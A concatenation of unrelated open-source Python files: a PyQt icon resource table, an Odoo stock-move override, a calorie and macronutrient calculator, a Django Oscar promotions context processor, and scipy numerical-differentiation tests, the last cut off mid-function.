\x6e\x6b\x2f\x73\x63\x6f\x6e\x63\x68\x6f\x2f\x67\x75\x69\x2f\x69\
\x63\x6f\x6e\x73\x2f\x7a\x6f\x6f\x6d\x2d\x31\x30\x30\x2e\x73\x76\
\x67\x6c\x33\x76\x0a\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\
\x82\
"
qt_resource_name = b"\
\x00\x05\
\x00\x6f\xa6\x53\
\x00\x69\
\x00\x63\x00\x6f\x00\x6e\x00\x73\
\x00\x08\
\x0f\x07\x5a\xc7\
\x00\x65\
\x00\x78\x00\x69\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0d\
\x06\xd9\x22\xa7\
\x00\x67\
\x00\x74\x00\x6b\x00\x2d\x00\x63\x00\x6c\x00\x65\x00\x61\x00\x72\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0f\
\x0d\x6b\x8f\xc7\
\x00\x72\
\x00\x61\x00\x64\x00\x69\x00\x6f\x00\x62\x00\x75\x00\x74\x00\x74\x00\x6f\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x06\
\x07\xc3\x57\x47\
\x00\x75\
\x00\x70\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x13\
\x04\xe6\x5a\x87\
\x00\x67\
\x00\x74\x00\x6b\x00\x2d\x00\x70\x00\x72\x00\x65\x00\x66\x00\x65\x00\x72\x00\x65\x00\x6e\x00\x63\x00\x65\x00\x73\x00\x2e\x00\x70\
\x00\x6e\x00\x67\
\x00\x0d\
\x06\x52\xd9\xe7\
\x00\x66\
\x00\x69\x00\x6c\x00\x65\x00\x70\x00\x72\x00\x69\x00\x6e\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x11\
\x01\x01\x10\x27\
\x00\x64\
\x00\x65\x00\x6c\x00\x65\x00\x74\x00\x65\x00\x5f\x00\x63\x00\x6f\x00\x6c\x00\x75\x00\x6d\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\
\x00\x0c\
\x07\x6b\x9c\x27\
\x00\x6b\
\x00\x63\x00\x6f\x00\x6e\x00\x74\x00\x72\x00\x6f\x00\x6c\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0b\
\x04\x14\x52\xc7\
\x00\x66\
\x00\x69\x00\x6c\x00\x65\x00\x6e\x00\x65\x00\x77\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x0b\xb2\x58\x47\
\x00\x72\
\x00\x65\x00\x64\x00\x6f\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0d\
\x06\x6d\x3d\x27\
\x00\x68\
\x00\x69\x00\x73\x00\x74\x00\x6f\x00\x67\x00\x72\x00\x61\x00\x6d\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x11\
\x08\x1b\x81\x27\
\x00\x7a\
\x00\x6f\x00\x6f\x00\x6d\x00\x2d\x00\x62\x00\x65\x00\x73\x00\x74\x00\x2d\x00\x66\x00\x69\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\
\x00\x0e\
\x0b\xdf\x7d\x87\
\x00\x66\
\x00\x69\x00\x6c\x00\x65\x00\x73\x00\x61\x00\x76\x00\x65\x00\x61\x00\x73\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x07\
\x0a\xc7\x57\x87\
\x00\x63\
\x00\x75\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0a\
\x0c\x3c\x18\x47\
\x00\x6c\
\x00\x61\x00\x62\x00\x65\x00\x6c\x00\x73\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x06\xe1\x5a\x27\
\x00\x64\
\x00\x6f\x00\x77\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0d\
\x0f\x55\x06\x27\
\x00\x72\
\x00\x65\x00\x63\x00\x74\x00\x61\x00\x6e\x00\x67\x00\x6c\x00\x65\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x00\x2f\x5a\xe7\
\x00\x66\
\x00\x69\x00\x6c\x00\x6c\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x09\
\x0d\xf7\xa6\xa7\
\x00\x72\
\x00\x69\x00\x67\x00\x68\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0e\
\x0d\xf0\xfa\x27\
\x00\x73\
\x00\x68\x00\x6f\x00\x77\x00\x5f\x00\x63\x00\x65\x00\x6c\x00\x6c\x00\x73\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0e\
\x02\x53\x67\x87\
\x00\x69\
\x00\x6e\x00\x73\x00\x65\x00\x72\x00\x74\x00\x5f\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0f\
\x02\x66\x3f\x87\
\x00\x72\
\x00\x6f\x00\x77\x00\x5f\x00\x72\x00\x65\x00\x70\x00\x65\x00\x61\x00\x74\x00\x73\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0b\
\x03\x03\x9b\x47\
\x00\x7a\
\x00\x6f\x00\x6f\x00\x6d\x00\x2d\x00\x69\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x11\
\x0e\xab\x33\x47\
\x00\x7a\
\x00\x6f\x00\x6f\x00\x6d\x00\x2d\x00\x6f\x00\x72\x00\x69\x00\x67\x00\x69\x00\x6e\x00\x61\x00\x6c\x00\x2e\x00\x70\x00\x6e\x00\x67\
\
\x00\x0a\
\x05\x78\x4f\x27\
\x00\x72\
\x00\x65\x00\x6c\x00\x6f\x00\x61\x00\x64\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x0b\x63\x58\x07\
\x00\x73\
\x00\x74\x00\x6f\x00\x70\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0c\
\x0a\x1e\x22\xc7\
\x00\x6c\
\x00\x65\x00\x74\x00\x74\x00\x65\x00\x72\x00\x5f\x00\x54\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0e\
\x0c\x64\xfe\x67\
\x00\x68\
\x00\x69\x00\x64\x00\x65\x00\x5f\x00\x63\x00\x65\x00\x6c\x00\x6c\x00\x73\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x12\
\x0b\xa8\xa4\xa7\
\x00\x70\
\x00\x61\x00\x74\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x5f\x00\x72\x00\x65\x00\x70\x00\x65\x00\x61\x00\x74\x00\x2e\x00\x70\x00\x6e\
\x00\x67\
\x00\x0e\
\x00\x78\x05\xa7\
\x00\x73\
\x00\x65\x00\x6c\x00\x65\x00\x63\x00\x74\x00\x5f\x00\x61\x00\x6c\x00\x6c\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0c\
\x04\xb0\x1a\x47\
\x00\x72\
\x00\x65\x00\x64\x00\x5f\x00\x72\x00\x65\x00\x63\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x0b\xd7\x59\x07\
\x00\x6c\
\x00\x65\x00\x66\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0c\
\x0b\x21\x0f\x87\
\x00\x66\
\x00\x69\x00\x6c\x00\x65\x00\x6f\x00\x70\x00\x65\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x07\
\x01\xcc\x57\xa7\
\x00\x6b\
\x00\x65\x00\x79\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0e\
\x01\x33\x1b\x27\
\x00\x64\
\x00\x65\x00\x6c\x00\x65\x00\x74\x00\x65\x00\x5f\x00\x72\x00\x6f\x00\x77\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x10\
\x02\x7a\x46\xa7\
\x00\x63\
\x00\x72\x00\x65\x00\x61\x00\x74\x00\x65\x00\x5f\x00\x63\x00\x65\x00\x6c\x00\x6c\x00\x73\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0c\
\x05\x68\x0e\x67\
\x00\x66\
\x00\x69\x00\x6c\x00\x65\x00\x73\x00\x61\x00\x76\x00\x65\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x10\
\x01\x08\xfa\xc7\
\x00\x69\
\x00\x6e\x00\x73\x00\x65\x00\x72\x00\x74\x00\x5f\x00\x66\x00\x72\x00\x61\x00\x6d\x00\x65\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x04\xb2\x58\xc7\
\x00\x75\
\x00\x6e\x00\x64\x00\x6f\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x0c\xf7\x58\x07\
\x00\x74\
\x00\x65\x00\x78\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0c\
\x06\xeb\x97\xe7\
\x00\x7a\
\x00\x6f\x00\x6f\x00\x6d\x00\x2d\x00\x6f\x00\x75\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0e\
\x06\xc0\xd2\xe7\
\x00\x66\
\x00\x69\x00\x6c\x00\x65\x00\x65\x00\x78\x00\x70\x00\x6f\x00\x72\x00\x74\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x08\
\x06\x7c\x5a\x07\
\x00\x63\
\x00\x6f\x00\x70\x00\x79\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x11\
\x0b\x4b\xe4\x07\
\x00\x69\
\x00\x6e\x00\x73\x00\x65\x00\x72\x00\x74\x00\x5f\x00\x63\x00\x6f\x00\x6c\x00\x75\x00\x6d\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\
\x00\x10\
\x03\x81\x95\x27\
\x00\x73\
\x00\x63\x00\x6f\x00\x6e\x00\x63\x00\x68\x00\x6f\x00\x5f\x00\x69\x00\x63\x00\x6f\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x09\
\x0a\xa8\xba\x47\
\x00\x70\
\x00\x61\x00\x73\x00\x74\x00\x65\x00\x2e\x00\x70\x00\x6e\x00\x67\
\x00\x0c\
\x04\x1f\x97\x67\
\x00\x7a\
\x00\x6f\x00\x6f\x00\x6d\x00\x2d\x00\x31\x00\x30\x00\x30\x00\x2e\x00\x70\x00\x6e\x00\x67\
"
qt_resource_struct = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x2f\x00\x00\x00\x02\
\x00\x00\x02\x0e\x00\x00\x00\x00\x00\x01\x00\x00\x87\x58\
\x00\x00\x03\x82\x00\x00\x00\x00\x00\x01\x00\x01\x01\xd7\
\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x01\x00\x00\x23\x76\
\x00\x00\x04\x70\x00\x00\x00\x00\x00\x01\x00\x01\x4b\x78\
\x00\x00\x04\x0a\x00\x00\x00\x00\x00\x01\x00\x01\x37\x7c\
\x00\x00\x03\xf6\x00\x00\x00\x00\x00\x01\x00\x01\x32\x1b\
\x00\x00\x02\x5e\x00\x00\x00\x00\x00\x01\x00\x00\xa1\xb8\
\x00\x00\x02\x80\x00\x00\x00\x00\x00\x01\x00\x00\xa5\xf5\
\x00\x00\x04\x2c\x00\x00\x00\x00\x00\x01\x00\x01\x3b\xf9\
\x00\x00\x02\xa4\x00\x00\x00\x00\x00\x01\x00\x00\xaa\xf4\
\x00\x00\x05\x40\x00\x00\x00\x00\x00\x01\x00\x01\x78\xb1\
\x00\x00\x01\x0e\x00\x00\x00\x00\x00\x01\x00\x00\x33\x62\
\x00\x00\x05\x7e\x00\x00\x00\x00\x00\x01\x00\x02\x0c\x41\
\x00\x00\x03\xa4\x00\x01\x00\x00\x00\x01\x00\x01\x06\x29\
\x00\x00\x04\x96\x00\x00\x00\x00\x00\x01\x00\x01\x4d\x7e\
\x00\x00\x00\x7c\x00\x00\x00\x00\x00\x01\x00\x00\x15\xfe\
\x00\x00\x04\x52\x00\x00\x00\x00\x00\x01\x00\x01\x41\x2f\
\x00\x00\x02\xe8\x00\x00\x00\x00\x00\x01\x00\x00\xd2\x0f\
\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x1f\x30\
\x00\x00\x01\x40\x00\x00\x00\x00\x00\x01\x00\x00\x48\x55\
\x00\x00\x05\x02\x00\x00\x00\x00\x00\x01\x00\x01\x72\xbb\
\x00\x00\x04\xe0\x00\x00\x00\x00\x00\x01\x00\x01\x6f\xa9\
\x00\x00\x00\x26\x00\x00\x00\x00\x00\x01\x00\x00\x04\x5c\
\x00\x00\x01\xd8\x00\x00\x00\x00\x00\x01\x00\x00\x7a\xfe\
\x00\x00\x04\xc2\x00\x00\x00\x00\x00\x01\x00\x01\x5c\xc8\
\x00\x00\x00\xf0\x00\x00\x00\x00\x00\x01\x00\x00\x28\x35\
\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x01\x00\x00\x0e\xc1\
\x00\x00\x01\x60\x00\x00\x00\x00\x00\x01\x00\x00\x4b\x0f\
\x00\x00\x03\x18\x00\x00\x00\x00\x00\x01\x00\x00\xe5\x84\
\x00\x00\x05\x66\x00\x00\x00\x00\x00\x01\x00\x02\x09\x97\
\x00\x00\x01\xaa\x00\x00\x00\x00\x00\x01\x00\x00\x70\x1d\
\x00\x00\x03\xd8\x00\x00\x00\x00\x00\x01\x00\x01\x26\xc3\
\x00\x00\x05\x18\x00\x00\x00\x00\x00\x01\x00\x01\x74\x21\
\x00\x00\x03\x02\x00\x00\x00\x00\x00\x01\x00\x00\xdb\xfb\
\x00\x00\x03\x58\x00\x00\x00\x00\x00\x01\x00\x00\xee\xe0\
\x00\x00\x01\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x45\x7d\
\x00\x00\x03\xc2\x00\x00\x00\x00\x00\x01\x00\x01\x1f\xa2\
\x00\x00\x01\x88\x00\x00\x00\x00\x00\x01\x00\x00\x5f\x34\
\x00\x00\x01\xbe\x00\x00\x00\x00\x00\x01\x00\x00\x73\x99\
\x00\x00\x03\x36\x00\x00\x00\x00\x00\x01\x00\x00\xed\x9f\
\x00\x00\x04\xac\x00\x00\x00\x00\x00\x01\x00\x01\x50\x4f\
\x00\x00\x00\x46\x00\x00\x00\x00\x00\x01\x00\x00\x0a\x57\
\x00\x00\x02\x3c\x00\x00\x00\x00\x00\x01\x00\x00\x9c\xee\
\x00\x00\x02\x24\x00\x00\x00\x00\x00\x01\x00\x00\x95\xa6\
\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x01\x00\x00\xbe\x86\
\x00\x00\x00\x10\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x01\xee\x00\x00\x00\x00\x00\x01\x00\x00\x81\xd6\
"
def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| craftoid/sconcho | sconcho/gui/icons_rc.py | Python | gpl-3.0 | 575,341 |
# -*- coding: utf-8 -*-
# (c) 2016 Alfredo de la Fuente - AvanzOSC
# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html
from openerp import models, api
class StockMove(models.Model):
_inherit = 'stock.move'
@api.multi
def action_confirm(self):
moves = self.filtered(lambda r: r.raw_material_production_id and
r.work_order.workcenter_id.machine.location)
for move in moves:
location = move.work_order.workcenter_id.machine.location
if move.location_id.id != location.id:
move.location_id = location.id
return super(StockMove, self).action_confirm()
| esthermm/odoomrp-wip | mrp_production_machine_location/models/stock_move.py | Python | agpl-3.0 | 669 |
class Macro(object):
WEIGHT_LOSS = 1
WEIGHT_MAINTAIN = 2
WEIGHT_GAIN = 3
def __init__(self, model):
self.model = model
self.debug = False
self.carbsPercent = 0.45
self.protienPercent = 0.25
self.fatPercent = 0.30
self.BMR = 0
self.calories = 0
self.fat = 0
self.carbs = 0
self.protien = 0
self.isFemale = False if model.gender.id == 2 else True
self.programCorrection = model.programGoal.caloricCorrection
self.workFactor = model.workLife.value
self.activeLevel = model.activityLevel.value
self.setIntialValues(self.isFemale, self.model.programGoal, self.activeLevel)
print('Carbs percent: {}, protien: {}'.format(self.carbsPercent, self.protienPercent))
def calculateBMR(self):
if self.isFemale:
if self.debug:
print("Im a female")
print("weight: {}, height: {}, {}, age: {}".format((9.6 * self.model.weight),
(1.8 * self.model.height), self.model.height ,(4.7 * self.model.profile.getAgeYears())))
self.BMR = 655 + (9.6 * self.model.weight) + (1.8 * self.model.height) - (4.7 * self.model.profile.getAgeYears())
else:
self.BMR = 66 + (13.7 * self.model.weight) + (5 * self.model.height) - (6.8 * self.model.profile.getAgeYears())
if self.debug:
print("BMR is: {}".format(self.BMR))
def setIntialValues(self, isFemale, program, activeLevel):
if program.id == self.WEIGHT_LOSS:
self.carbsPercent = 0.4
self.protienPercent = 0.30
if program.id == self.WEIGHT_GAIN :
if isFemale:
self.programCorrection = 300
if isFemale and activeLevel == 1.725:
self.activeLevel = 1.55
elif activeLevel == 1.725:
self.activeLevel = 1.60
def calculateCalories(self):
if self.BMR == 0:
self.calculateBMR()
self.calories = round(((self.BMR * self.activeLevel) * self.workFactor) + self.programCorrection)
if self.debug:
print("Calories is: {}".format(self.calories))
print("From a calulation of: activeLevel: {}, workFactor: {}, programCorrection: {}".format(self.activeLevel,
self.workFactor, self.programCorrection))
def calculateMacros(self):
if self.calories == 0:
self.calculateCalories()
cal = self.calories
self.fat = round((cal / 9) * self.fatPercent);
self.carbs = round((cal / 4) * self.carbsPercent);
self.protien = round((cal / 4) * self.protienPercent);
def calculate(self):
self.calculateBMR()
self.calculateCalories()
self.calculateMacros()
if self.debug:
print("Program programCorrection: {}".format(self.programCorrection))
print("fat: {} Carbs: {}, protien: {}, cal: {}".format(self.fat, self.carbs, self.protien, self.calories))
| airportmarc/the416life | src/apps/utls/macros/Macros.py | Python | mit | 2,881 |
__author__ = 'jtseng2'
| abad623/verbalucce | verbalucce/gmail/__init__.py | Python | apache-2.0 | 23 |
from itertools import chain
from oscar.apps.promotions.models import PagePromotion, KeywordPromotion
def promotions(request):
"""
For adding bindings for banners and pods to the template
context.
"""
promotions = get_request_promotions(request)
# Split the promotions into separate lists for each position, and add them
# to the template bindings
context = {
'url_path': request.path
}
split_by_position(promotions, context)
return context
def get_request_promotions(request):
"""
Return promotions relevant to this request
"""
promotions = PagePromotion._default_manager.select_related() \
.prefetch_related('content_object') \
.filter(page_url=request.path) \
.order_by('display_order')
if 'q' in request.GET:
keyword_promotions \
= KeywordPromotion._default_manager.select_related()\
.filter(keyword=request.GET['q'])
if keyword_promotions.exists():
promotions = list(chain(promotions, keyword_promotions))
return promotions
def split_by_position(linked_promotions, context):
"""
Split the list of promotions into separate lists, grouping
by position, and write these lists to the context dict.
"""
for linked_promotion in linked_promotions:
promotion = linked_promotion.content_object
if not promotion:
continue
key = 'promotions_%s' % linked_promotion.position.lower()
if key not in context:
context[key] = []
context[key].append(promotion)
| pasqualguerrero/django-oscar | src/oscar/apps/promotions/context_processors.py | Python | bsd-3-clause | 1,592 |
from .logical_form_instance import LogicalFormInstance, IndexedLogicalFormInstance
from .text_classification_instance import TextClassificationInstance, IndexedTextClassificationInstance
from .tuple_instance import TupleInstance, IndexedTupleInstance
| matt-gardner/deep_qa | deep_qa/data/instances/text_classification/__init__.py | Python | apache-2.0 | 251 |
from __future__ import division
import math
from itertools import product
import numpy as np
from numpy.testing import assert_allclose, assert_equal, assert_
from pytest import raises as assert_raises
from scipy.sparse import csr_matrix, csc_matrix, lil_matrix
from scipy.optimize._numdiff import (
_adjust_scheme_to_bounds, approx_derivative, check_derivative,
group_columns)
def test_group_columns():
structure = [
[1, 1, 0, 0, 0, 0],
[1, 1, 1, 0, 0, 0],
[0, 1, 1, 1, 0, 0],
[0, 0, 1, 1, 1, 0],
[0, 0, 0, 1, 1, 1],
[0, 0, 0, 0, 1, 1],
[0, 0, 0, 0, 0, 0]
]
for transform in [np.asarray, csr_matrix, csc_matrix, lil_matrix]:
A = transform(structure)
order = np.arange(6)
groups_true = np.array([0, 1, 2, 0, 1, 2])
groups = group_columns(A, order)
assert_equal(groups, groups_true)
order = [1, 2, 4, 3, 5, 0]
groups_true = np.array([2, 0, 1, 2, 0, 1])
groups = group_columns(A, order)
assert_equal(groups, groups_true)
# Test repeatability.
groups_1 = group_columns(A)
groups_2 = group_columns(A)
assert_equal(groups_1, groups_2)
class TestAdjustSchemeToBounds(object):
def test_no_bounds(self):
x0 = np.zeros(3)
h = np.full(3, 1e-2)
inf_lower = np.empty_like(x0)
inf_upper = np.empty_like(x0)
inf_lower.fill(-np.inf)
inf_upper.fill(np.inf)
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 1, '1-sided', inf_lower, inf_upper)
assert_allclose(h_adjusted, h)
assert_(np.all(one_sided))
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 2, '1-sided', inf_lower, inf_upper)
assert_allclose(h_adjusted, h)
assert_(np.all(one_sided))
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 1, '2-sided', inf_lower, inf_upper)
assert_allclose(h_adjusted, h)
assert_(np.all(~one_sided))
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 2, '2-sided', inf_lower, inf_upper)
assert_allclose(h_adjusted, h)
assert_(np.all(~one_sided))
def test_with_bound(self):
x0 = np.array([0.0, 0.85, -0.85])
lb = -np.ones(3)
ub = np.ones(3)
h = np.array([1, 1, -1]) * 1e-1
h_adjusted, _ = _adjust_scheme_to_bounds(x0, h, 1, '1-sided', lb, ub)
assert_allclose(h_adjusted, h)
h_adjusted, _ = _adjust_scheme_to_bounds(x0, h, 2, '1-sided', lb, ub)
assert_allclose(h_adjusted, np.array([1, -1, 1]) * 1e-1)
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 1, '2-sided', lb, ub)
assert_allclose(h_adjusted, np.abs(h))
assert_(np.all(~one_sided))
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 2, '2-sided', lb, ub)
assert_allclose(h_adjusted, np.array([1, -1, 1]) * 1e-1)
assert_equal(one_sided, np.array([False, True, True]))
def test_tight_bounds(self):
lb = np.array([-0.03, -0.03])
ub = np.array([0.05, 0.05])
x0 = np.array([0.0, 0.03])
h = np.array([-0.1, -0.1])
h_adjusted, _ = _adjust_scheme_to_bounds(x0, h, 1, '1-sided', lb, ub)
assert_allclose(h_adjusted, np.array([0.05, -0.06]))
h_adjusted, _ = _adjust_scheme_to_bounds(x0, h, 2, '1-sided', lb, ub)
assert_allclose(h_adjusted, np.array([0.025, -0.03]))
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 1, '2-sided', lb, ub)
assert_allclose(h_adjusted, np.array([0.03, -0.03]))
assert_equal(one_sided, np.array([False, True]))
h_adjusted, one_sided = _adjust_scheme_to_bounds(
x0, h, 2, '2-sided', lb, ub)
assert_allclose(h_adjusted, np.array([0.015, -0.015]))
assert_equal(one_sided, np.array([False, True]))
class TestApproxDerivativesDense(object):
def fun_scalar_scalar(self, x):
return np.sinh(x)
def jac_scalar_scalar(self, x):
return np.cosh(x)
def fun_scalar_vector(self, x):
return np.array([x[0]**2, np.tan(x[0]), np.exp(x[0])])
def jac_scalar_vector(self, x):
return np.array(
[2 * x[0], np.cos(x[0]) ** -2, np.exp(x[0])]).reshape(-1, 1)
def fun_vector_scalar(self, x):
return np.sin(x[0] * x[1]) * np.log(x[0])
def wrong_dimensions_fun(self, x):
return np.array([x**2, np.tan(x), np.exp(x)])
def jac_vector_scalar(self, x):
return np.array([
x[1] * np.cos(x[0] * x[1]) * np.log(x[0]) +
np.sin(x[0] * x[1]) / x[0],
x[0] * np.cos(x[0] * x[1]) * np.log(x[0])
])
def fun_vector_vector(self, x):
return np.array([
x[0] * np.sin(x[1]),
x[1] * np.cos(x[0]),
x[0] ** 3 * x[1] ** -0.5
])
def jac_vector_vector(self, x):
return np.array([
[np.sin(x[1]), x[0] * np.cos(x[1])],
[-x[1] * np.sin(x[0]), np.cos(x[0])],
[3 * x[0] ** 2 * x[1] ** -0.5, -0.5 * x[0] ** 3 * x[1] ** -1.5]
])
def fun_parametrized(self, x, c0, c1=1.0):
return np.array([np.exp(c0 * x[0]), np.exp(c1 * x[1])])
def jac_parametrized(self, x, c0, c1=0.1):
return np.array([
[c0 * np.exp(c0 * x[0]), 0],
[0, c1 * np.exp(c1 * x[1])]
])
def fun_with_nan(self, x):
return x if np.abs(x) <= 1e-8 else np.nan
def jac_with_nan(self, x):
return 1.0 if np.abs(x) <= 1e-8 else np.nan
def fun_zero_jacobian(self, x):
return np.array([x[0] * x[1], np.cos(x[0] * x[1])])
def jac_zero_jacobian(self, x):
return np.array([
[x[1], x[0]],
[-x[1] * np.sin(x[0] * x[1]), -x[0] * np.sin(x[0] * x[1])]
])
def fun_non_numpy(self, x):
return math.exp(x)
def jac_non_numpy(self, x):
return math.exp(x)
def test_scalar_scalar(self):
x0 = 1.0
jac_diff_2 = approx_derivative(self.fun_scalar_scalar, x0,
method='2-point')
jac_diff_3 = approx_derivative(self.fun_scalar_scalar, x0)
jac_diff_4 = approx_derivative(self.fun_scalar_scalar, x0,
method='cs')
jac_true = self.jac_scalar_scalar(x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-9)
assert_allclose(jac_diff_4, jac_true, rtol=1e-12)
def test_scalar_scalar_abs_step(self):
# can approx_derivative use abs_step?
x0 = 1.0
jac_diff_2 = approx_derivative(self.fun_scalar_scalar, x0,
method='2-point', abs_step=1.49e-8)
jac_diff_3 = approx_derivative(self.fun_scalar_scalar, x0,
abs_step=1.49e-8)
jac_diff_4 = approx_derivative(self.fun_scalar_scalar, x0,
method='cs', abs_step=1.49e-8)
jac_true = self.jac_scalar_scalar(x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-9)
assert_allclose(jac_diff_4, jac_true, rtol=1e-12)
def test_scalar_vector(self):
x0 = 0.5
jac_diff_2 = approx_derivative(self.fun_scalar_vector, x0,
method='2-point')
jac_diff_3 = approx_derivative(self.fun_scalar_vector, x0)
jac_diff_4 = approx_derivative(self.fun_scalar_vector, x0,
method='cs')
jac_true = self.jac_scalar_vector(np.atleast_1d(x0))
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-9)
assert_allclose(jac_diff_4, jac_true, rtol=1e-12)
def test_vector_scalar(self):
x0 = np.array([100.0, -0.5])
jac_diff_2 = approx_derivative(self.fun_vector_scalar, x0,
method='2-point')
jac_diff_3 = approx_derivative(self.fun_vector_scalar, x0)
jac_diff_4 = approx_derivative(self.fun_vector_scalar, x0,
method='cs')
jac_true = self.jac_vector_scalar(x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-7)
assert_allclose(jac_diff_4, jac_true, rtol=1e-12)
def test_vector_scalar_abs_step(self):
# can approx_derivative use abs_step?
x0 = np.array([100.0, -0.5])
jac_diff_2 = approx_derivative(self.fun_vector_scalar, x0,
method='2-point', abs_step=1.49e-8)
jac_diff_3 = approx_derivative(self.fun_vector_scalar, x0,
abs_step=1.49e-8, rel_step=np.inf)
jac_diff_4 = approx_derivative(self.fun_vector_scalar, x0,
method='cs', abs_step=1.49e-8)
jac_true = self.jac_vector_scalar(x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=3e-9)
assert_allclose(jac_diff_4, jac_true, rtol=1e-12)
def test_vector_vector(self):
x0 = np.array([-100.0, 0.2])
jac_diff_2 = approx_derivative(self.fun_vector_vector, x0,
method='2-point')
jac_diff_3 = approx_derivative(self.fun_vector_vector, x0)
jac_diff_4 = approx_derivative(self.fun_vector_vector, x0,
method='cs')
jac_true = self.jac_vector_vector(x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-5)
assert_allclose(jac_diff_3, jac_true, rtol=1e-6)
assert_allclose(jac_diff_4, jac_true, rtol=1e-12)
def test_wrong_dimensions(self):
x0 = 1.0
assert_raises(RuntimeError, approx_derivative,
self.wrong_dimensions_fun, x0)
f0 = self.wrong_dimensions_fun(np.atleast_1d(x0))
assert_raises(ValueError, approx_derivative,
self.wrong_dimensions_fun, x0, f0=f0)
def test_custom_rel_step(self):
x0 = np.array([-0.1, 0.1])
jac_diff_2 = approx_derivative(self.fun_vector_vector, x0,
method='2-point', rel_step=1e-4)
jac_diff_3 = approx_derivative(self.fun_vector_vector, x0,
rel_step=1e-4)
jac_true = self.jac_vector_vector(x0)
assert_allclose(jac_diff_2, jac_true, rtol=1e-2)
assert_allclose(jac_diff_3, jac_true, rtol=1e-4)
def test_options(self):
x0 = np.array([1.0, 1.0])
c0 = -1.0
c1 = 1.0
lb = 0.0
ub = 2.0
f0 = self.fun_parametrized(x0, c0, c1=c1)
rel_step = np.array([-1e-6, 1e-7])
jac_true = self.jac_parametrized(x0, c0, c1)
jac_diff_2 = approx_derivative(
self.fun_parametrized, x0, method='2-point', rel_step=rel_step,
f0=f0, args=(c0,), kwargs=dict(c1=c1), bounds=(lb, ub))
jac_diff_3 = approx_derivative(
self.fun_parametrized, x0, rel_step=rel_step,
f0=f0, args=(c0,), kwargs=dict(c1=c1), bounds=(lb, ub))
assert_allclose(jac_diff_2, jac_true, rtol=1e-6)
assert_allclose(jac_diff_3, jac_true, rtol=1e-9)
def test_with_bounds_2_point(self):
